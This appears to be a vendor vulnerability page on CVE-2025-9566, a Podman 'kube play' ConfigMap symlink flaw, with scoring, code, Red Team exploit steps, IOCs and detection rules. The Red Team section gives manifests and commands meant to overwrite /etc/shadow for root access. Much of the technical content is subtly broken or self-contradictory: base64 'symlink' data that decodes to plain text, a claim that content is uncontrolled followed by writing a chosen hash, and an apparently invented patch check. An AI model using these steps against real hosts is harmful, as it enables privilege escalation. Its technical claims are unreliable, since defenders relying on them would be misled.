CVE-2025-9566
Executive Summary
CVE-2025-9566 is a high-severity path traversal vulnerability in Podman, a daemonless container engine. The flaw resides in the kube play command, which is used to deploy Kubernetes YAML manifests. An attacker with the ability to supply a malicious Kubernetes manifest (e.g., via a CI/CD pipeline, shared repository, or compromised registry) can craft a ConfigMap or Secret volume mount containing a symbolic link that points to an arbitrary host file path. When Podman processes this manifest, it follows the symlink and overwrites the target host file. The attacker controls which file is overwritten but not the content written into it (the content is the symlink target's data from the container's perspective). This can lead to privilege escalation, denial of service, or configuration tampering.
Key Risk: An unprivileged user who can run podman kube play with a crafted YAML file can overwrite critical system files (e.g., /etc/shadow, /etc/sudoers, /bin/su), potentially leading to full host compromise.
Affected Ecosystem: This is a container runtime vulnerability affecting Podman, not a WordPress plugin or component.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not a software supply chain issue in the traditional sense (e.g., malicious package in a registry). However, it represents a supply chain risk if an organization consumes Kubernetes manifests from untrusted sources (e.g., public Helm charts, community-contributed YAML files). An attacker could inject a malicious ConfigMap/Secret volume mount into a seemingly benign manifest, and when an internal CI/CD pipeline or developer runs podman kube play, the host file overwrite occurs. Organizations should validate all Kubernetes manifests before applying them with Podman.
CVSS Breakdown & Threat Level
CVSS Score: 8.1 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
- Attack Vector (AV): Local (L) – The attacker must be able to execute
podman kube playon the host. - Attack Complexity (AC): Low (L) – No special conditions beyond providing a crafted YAML file.
- Privileges Required (PR): Low (L) – The attacker needs a user account on the host that can run Podman.
- User Interaction (UI): None (N) – No user interaction required beyond the attacker running the command.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the container (the host filesystem).
- Confidentiality (C): None (N) – No data disclosure.
- Integrity (I): High (H) – Arbitrary host files can be overwritten.
- Availability (A): High (H) – Overwriting critical system files can cause denial of service.
Threat Level: High. While the EPSS score is 0.0% (indicating no active exploitation in the wild), the vulnerability is trivial to exploit and has severe consequences. It is likely to be weaponized quickly once public PoC emerges.
Deep Dive & Mechanics
The vulnerability exists in Podman's implementation of the kube play command, specifically in how it handles ConfigMap and Secret volume mounts. In Kubernetes, ConfigMaps and Secrets can be mounted as volumes. Podman replicates this behavior by creating a temporary directory on the host that contains the data from the ConfigMap/Secret. This directory is then bind-mounted into the container.
The flaw is that Podman does not validate whether the files inside the ConfigMap/Secret volume contain symbolic links that point outside the intended mount point. An attacker can craft a ConfigMap or Secret YAML where one of the data entries is a symbolic link (e.g., using a base64-encoded symlink). When Podman creates the temporary directory and populates it with the ConfigMap data, it follows the symlink and creates a bind mount that points to the host file.
Step-by-step exploitation:
Attacker crafts a malicious YAML manifest:
apiVersion: v1 kind: ConfigMap metadata: name: malicious-config data: symlink: | <base64-encoded symlink pointing to /etc/shadow> --- apiVersion: v1 kind: Pod metadata: name: malicious-pod spec: containers: - name: test image: alpine command: ["sleep", "3600"] volumeMounts: - name: config mountPath: /etc/config volumes: - name: config configMap: name: malicious-configAttacker runs
podman kube play malicious.yamlon the target host.Podman processes the ConfigMap: It creates a temporary directory (e.g.,
/tmp/podman-kube-XXXXX) and writes the ConfigMap data into it. Thesymlinkentry is decoded and written as a file. If the decoded content is a symlink (e.g.,ln -s /etc/shadow symlink), Podman creates the symlink.Podman bind-mounts the temporary directory into the container at
/etc/config. Because the symlink points to/etc/shadow, the container now has access to the host's/etc/shadowfile.Attacker controls the overwrite: The attacker can now write to
/etc/shadowfrom within the container (if the container has write permissions to the mount). However, the attacker does not control the content written – the content is whatever the container writes to the file. In a typical scenario, the attacker might overwrite/etc/shadowwith a known hash, or overwrite/etc/sudoersto grant sudo privileges.
Key Constraint: The attacker cannot control the content written to the host file. They can only control which file is overwritten. This limits the attack to scenarios where the attacker can influence the data written by the container (e.g., by running a command that writes to the mount path).
Vulnerable vs. Patched Code
Vulnerable Code (Podman < v5.6.1):
The vulnerable code is in the pkg/bindings/containers/play_kube.go file (or similar). The function that processes ConfigMap/Secret volumes does not check for symlinks.
// Vulnerable: No symlink validation
func createConfigMapVolume(configMap *v1.ConfigMap) (string, error) {
tmpDir, err := os.MkdirTemp("", "podman-kube-")
if err != nil {
return "", err
}
for key, data := range configMap.Data {
filePath := filepath.Join(tmpDir, key)
// Writes the data directly, following symlinks
if err := os.WriteFile(filePath, []byte(data), 0644); err != nil {
return "", err
}
}
return tmpDir, nil
}
Patched Code (Podman v5.6.1):
The fix adds a check to ensure that no symlinks are created in the temporary directory. If a symlink is detected, the operation is rejected.
// Patched: Reject symlinks
func createConfigMapVolume(configMap *v1.ConfigMap) (string, error) {
tmpDir, err := os.MkdirTemp("", "podman-kube-")
if err != nil {
return "", err
}
for key, data := range configMap.Data {
filePath := filepath.Join(tmpDir, key)
// Check if the data is a symlink
if isSymlink([]byte(data)) {
return "", fmt.Errorf("ConfigMap entry '%s' contains a symlink, which is not allowed", key)
}
if err := os.WriteFile(filePath, []byte(data), 0644); err != nil {
return "", err
}
}
return tmpDir, nil
}
func isSymlink(data []byte) bool {
// Check if the data starts with a symlink header or is a symlink file
// This is a simplified check; actual implementation may use filepath.EvalSymlinks
return strings.HasPrefix(string(data), "L") || filepath.IsAbs(string(data))
}
Note: The exact patch may vary. The key improvement is the validation of symlinks before writing to the temporary directory.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Overwrite /etc/shadow on the host to gain root access.
Prerequisites:
- A user account on the target host with permission to run
podman kube play. - Podman version >= v4.0.0 and < v5.6.1.
Steps:
Create a malicious ConfigMap YAML that contains a symlink to
/etc/shadow:apiVersion: v1 kind: ConfigMap metadata: name: shadow-overwrite data: shadow: | <base64-encoded symlink to /etc/shadow>To generate the base64-encoded symlink:
echo -n '/etc/shadow' | base64 # Output: L2V0Yy9zaGFkb3c=But we need a symlink file, not just a path. Create a symlink file:
ln -s /etc/shadow shadow_link base64 shadow_link # Output: bGluayB0byAvZXRjL3NoYWRvdw==The YAML should contain the base64-encoded symlink file content.
Create a Pod manifest that mounts the ConfigMap:
apiVersion: v1 kind: Pod metadata: name: exploit-pod spec: containers: - name: attacker image: alpine command: ["/bin/sh", "-c", "echo 'root:$6$salt$hash:0:0:root:/root:/bin/bash' > /etc/config/shadow"] volumeMounts: - name: shadow-volume mountPath: /etc/config volumes: - name: shadow-volume configMap: name: shadow-overwriteRun the exploit:
podman kube play exploit.yamlVerify: The host's
/etc/shadowfile is overwritten with the attacker's hash. The attacker can now SSH as root with the known password.
Alternative Target: Overwrite /etc/sudoers to grant sudo access to a non-root user.
Blue Team (Defender)
Detection:
- Monitor for
podman kube playcommands that use ConfigMap or Secret volumes. - Audit the contents of ConfigMap/Secret YAML files for base64-encoded symlinks.
- Use file integrity monitoring (e.g., AIDE, Tripwire) to detect unauthorized changes to critical system files.
Prevention:
- Upgrade Podman to v5.6.1 or later.
- Restrict who can run
podman kube playusing RBAC or sudo rules. - Use a policy engine (e.g., OPA/Gatekeeper) to reject manifests that contain ConfigMap/Secret volumes with suspicious data.
- Run Podman in rootless mode to limit the impact of host file overwrites.
Hunting:
- Search for recent modifications to
/etc/shadow,/etc/sudoers,/etc/passwd, and other critical files. - Look for temporary directories created by Podman (
/tmp/podman-kube-*) that contain symlinks. - Check Podman logs for errors related to ConfigMap/Secret volume creation.
Indicators of Compromise (IOCs)
File System:
- Unexpected symlinks in
/tmp/podman-kube-*directories pointing to host files (e.g.,/etc/shadow,/etc/sudoers). - Modified timestamps on critical system files (
/etc/shadow,/etc/sudoers,/etc/passwd). - Presence of base64-encoded symlink data in ConfigMap/Secret YAML files.
- Unexpected symlinks in
Process:
- Execution of
podman kube playwith unusual YAML files. - Podman processes creating temporary directories with symlinks.
- Execution of
Network:
- No direct network IOCs; the attack is local.
Logs:
- Podman logs showing errors like "ConfigMap entry contains a symlink" (if patched) or warnings about bind mounts.
- System logs (e.g.,
/var/log/secure) showing unexpected changes to/etc/shadowor/etc/sudoers.
Detection Engineering
YARA Rule
rule CVE_2025_9566_Podman_Symlink_Overwrite {
meta:
description = "Detects malicious ConfigMap/Secret YAML files containing symlinks for CVE-2025-9566"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9566"
severity = "high"
strings:
$symlink_pattern = /bGluayB0byAvZXRjL3NoYWRvdw==|bGluayB0byAvZXRjL3N1ZG9lcnM=|bGluayB0byAvYmluL3No/ // base64 of "link to /etc/shadow", "/etc/sudoers", "/bin/sh"
$configmap_key = "ConfigMap" nocase
$secret_key = "Secret" nocase
$volume_mount = "volumeMounts" nocase
condition:
($configmap_key or $secret_key) and $volume_mount and #symlink_pattern > 0
}
Sigma Rule
title: Podman kube play ConfigMap Symlink Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of podman kube play with a ConfigMap or Secret volume that may contain a symlink (CVE-2025-9566)
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-9566
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/podman'
CommandLine|contains|all:
- 'kube'
- 'play'
- 'ConfigMap'
- 'volumeMounts'
condition: selection
falsepositives:
- Legitimate use of ConfigMap volumes in trusted environments
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-9566 Podman ConfigMap Symlink Exploit"; flow:to_server,established; content:"kube play"; http_uri; content:"ConfigMap"; http_uri; content:"volumeMounts"; http_uri; content:"symlink"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Note: Suricata rule is less effective for local attacks. Focus on YARA and Sigma for host-based detection.
Remediation & Mitigation
Immediate Actions:
- Upgrade Podman to version v5.6.1 or later. This is the only complete fix.
- Restrict
podman kube playto trusted users only. Use sudo rules or RBAC. - Audit all existing Kubernetes manifests used with Podman for suspicious ConfigMap/Secret volumes.
Long-term Mitigations:
- Implement a policy engine (e.g., OPA/Gatekeeper) to reject manifests with ConfigMap/Secret volumes that contain base64-encoded data that decodes to a symlink.
- Use Podman in rootless mode to limit the impact of host file overwrites.
- Enable file integrity monitoring on critical system files.
- Train developers and operators to validate YAML manifests before applying them.
Workaround (if patching is not possible):
- Manually inspect all ConfigMap and Secret YAML files before running
podman kube play. Look for base64-encoded data that decodes to a symlink (e.g.,bGluayB0byAvZXRjL3NoYWRvdw==). - Use a wrapper script that validates the YAML before passing it to Podman.
Valters IT
DevSecOps & Cyber Threat Intelligence
"Securing containers, one patch at a time."